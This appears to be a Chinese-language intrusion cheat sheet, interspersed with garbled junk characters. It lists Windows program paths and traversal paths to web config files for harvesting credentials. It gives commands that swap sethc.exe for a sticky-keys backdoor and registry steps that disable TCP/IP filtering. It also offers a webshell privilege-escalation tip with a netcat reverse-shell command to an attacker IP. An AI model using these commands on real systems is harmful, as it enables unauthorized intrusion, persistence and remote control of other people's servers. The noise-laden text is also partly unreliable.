C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
7 N7 J1 h9 a- i5 xC:\Program Files\FlashFXP\flashfxp.exe
9 T5 X" T. w3 p1 cc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
5 S5 W, K$ T* a4 p+ Y& Pc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
& e  q& z. t2 O, w' b& I# B( `3 H2 }c:\Program Files\tencent\QQGAME\readme.txt
, [3 K6 {+ f2 m: Y& AC:\Program Files\StormII\Storm.exe
& P9 o/ B' D( T" I
+ a, g5 g* c0 ?3.网站相对路径:

/config.php
../../config.php
../config.php
../../../config.php
6 g& ~9 I0 N! F7 A  W/config.inc.php
./config.inc.php
* E# T6 u, @6 @3 J../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
  O. K- `- y: K/ p./conn.php
6 z' m0 m2 v. _( f/ g" Y../../conn.php
+ @& \  i' B$ ?7 L1 s; I../conn.php
$ Z) t! B3 w7 `" N+ C: b: G( f../../../conn.php
3 I; _& u( Z9 {; b* x  C- A/conn.asp
./conn.asp
' o& v2 Q( ~+ v* w../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
2 `4 U! ?3 t8 Z6 X, y./config.inc.php
; N8 W) f# h8 L( I5 Q../../config.inc.php
6 C! u" v; u' L../config.inc.php
3 @2 P* n+ R( o# O../../../config.inc.php
/config/config.php
; v7 R+ [+ D' N( ]4 E* N& g' k! L../../config/config.php
/ ]% L9 d+ }8 ~8 H/ Y$ C../config/config.php
5 `5 R+ Q* G& T  D../../../config/config.php
/config/config.inc.php
./config/config.inc.php
+ F" E4 y7 r, u  `: {- p8 z9 k7 U../../config/config.inc.php
../config/config.inc.php
- w( `7 I: {) b: K0 L/ E../../../config/config.inc.php
/config/conn.php
$ `- r2 Z* O" d0 F./config/conn.php
6 E/ i; @8 k# k9 V../../config/conn.php
../config/conn.php
../../../config/conn.php
' }# N5 Q. @8 c- m% z/config/conn.asp
./config/conn.asp
/ [) A1 \$ e# W4 H. ^% r../../config/conn.asp
../config/conn.asp
/ [, k1 L4 v6 s3 x, T! H../../../config/conn.asp
! g# R1 {( \- m! e( i/config/config.inc.php
6 N+ b; ~, I6 ]: @# j./config/config.inc.php
/ B; P0 T+ i4 U2 U1 Q4 C../../config/config.inc.php
; t" C4 c" @) P../config/config.inc.php
: ^& _# g) J. O9 [6 c4 L+ U../../../config/config.inc.php
/data/config.php
% A' g: b  d/ W% S3 d+ T. m../../data/config.php
+ w7 r0 J% I! }" j' ?6 f" h' t0 E- n; l../data/config.php
. g9 q- Q6 r: p../../../data/config.php
- d; m6 W4 t; ?% f# k/data/config.inc.php
" B2 y( j( d. q' f% Y  v./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
" f" q& R5 J! ]6 C8 H: w. A../../../data/config.inc.php
9 f* s" k) D3 }/ _. K4 P. G1 u/data/conn.php
0 d5 F" N$ I% Z3 u1 M./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
+ {) p( u* i" A9 p1 j+ Z/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
$ u  J/ e: g# X- ^- X../../../data/conn.asp
1 E* i6 Y6 r$ Q5 r" |# h% T/ t/data/config.inc.php
2 L( `7 C; u. E; Q. _./data/config.inc.php
# K: B: i- D$ u9 V../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
+ D- o9 j8 T4 N9 F4 X../../include/config.php
../include/config.php
../../../include/config.php
0 h0 J9 L, M/ y. G& \' v4 F/include/config.inc.php
; ]% ]) |+ n7 w7 x./include/config.inc.php
, z, L" K7 L" ^4 ~+ d3 \../../include/config.inc.php
$ W. |9 Q* X! A* \../include/config.inc.php
" V) P* i# d$ F$ F+ s, D% ]2 ]../../../include/config.inc.php
; |# Z; Y0 s8 u$ _- S# b/include/conn.php
./include/conn.php
6 d# V9 v( |% [+ E, }; N../../include/conn.php
' l, [1 {' r4 [: c. t9 \7 Q../include/conn.php
../../../include/conn.php
/include/conn.asp
0 O7 n0 {' n9 `+ v9 g+ i: r./include/conn.asp
1 M5 K2 ?5 @( G" ~( w../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
( A2 p2 `. C/ B./include/config.inc.php
0 N6 m, T) a8 `9 B0 g+ h# |../../include/config.inc.php
../include/config.inc.php
7 l7 y) x! [) R, W8 g2 r0 B../../../include/config.inc.php
/inc/config.php
2 U1 [0 f! c; V1 u3 A) D6 M../../inc/config.php
../inc/config.php
/ t5 B- v2 q7 K0 W3 ?2 S' j../../../inc/config.php
7 }+ n; b6 u' y5 n/inc/config.inc.php
1 c$ k1 s* N  B$ O./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
& d+ R6 x, Z- ]. h( L$ _. _../../../inc/config.inc.php
- l6 H6 f$ q# o. N1 V9 o/inc/conn.php
7 f  D: H+ D& \4 c, J# \: U./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
: T; r0 D! B9 P$ Y../../inc/conn.asp
../inc/conn.asp
$ }/ C, e" m' ?7 p. L0 m../../../inc/conn.asp
$ N$ U) x; F9 U/inc/config.inc.php
& b2 @- e+ V0 T2 i, |0 ^! |9 W: P./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
" i4 u% O  h/ ~4 r; y* g; [% _../../../inc/config.inc.php
/index.php
+ z3 `* C7 D) V2 g! x  D6 G, K./index.php
8 _6 q- S2 Q' H) s6 Z9 ^6 W../../index.php
../index.php
../../../index.php
5 D  _0 f* J) _" K1 F; I/index.asp
./index.asp
  r8 i7 x, H# W2 r! m$ R6 B../../index.asp
! Y. o# L* _  M3 r$ Q../index.asp
2 C% W$ V4 L/ G* D5 M../../../index.asp
7 R( a: a% ~8 m; u  ~; I  B替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

( [& H9 I) y9 V　　del c:\windows\system32\sethc.exe
" v; {6 s( Q6 r5 [+ O. z
$ a: d! z$ L/ p; M7 }- A! _　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
- f2 O8 `( \7 ?+ B
　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
7 O3 ?; ]$ G1 [+ E; I2 G+ i( G& f: L( X) h去除TCPIP筛选
. n: O2 }8 d" S- M, A4 ]2 ITCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
8 e7 ~" z. E/ t  y/ V" V/ [, t6 g+ b
分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
3 h( B" X/ j3 k: }regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ N. w+ d' w0 p4 E2 E命令来导出注册表项
9 m8 [0 z% ~4 E# e' d
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
( \$ {: w" l7 q( C* E4 E9 ]- i
再将以上三个文件分别用
. B7 |( U* o# ~* _regedit -s D:\a.reg
regedit -s D:\b.reg
: x" L/ G7 Z; S' bregedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
: W; W) T8 H2 E. O4 mcmd路径:
c:\windows\temp\cmd.exe
& W# @+ g/ [; S1 `) T6 jnc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

/ Q6 _/ t& O) e5 _3 w9 A/ }而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
( ~" v  O7 Q3 C5 W命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
0 J$ w1 a# g/ f0 Q: @& U我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功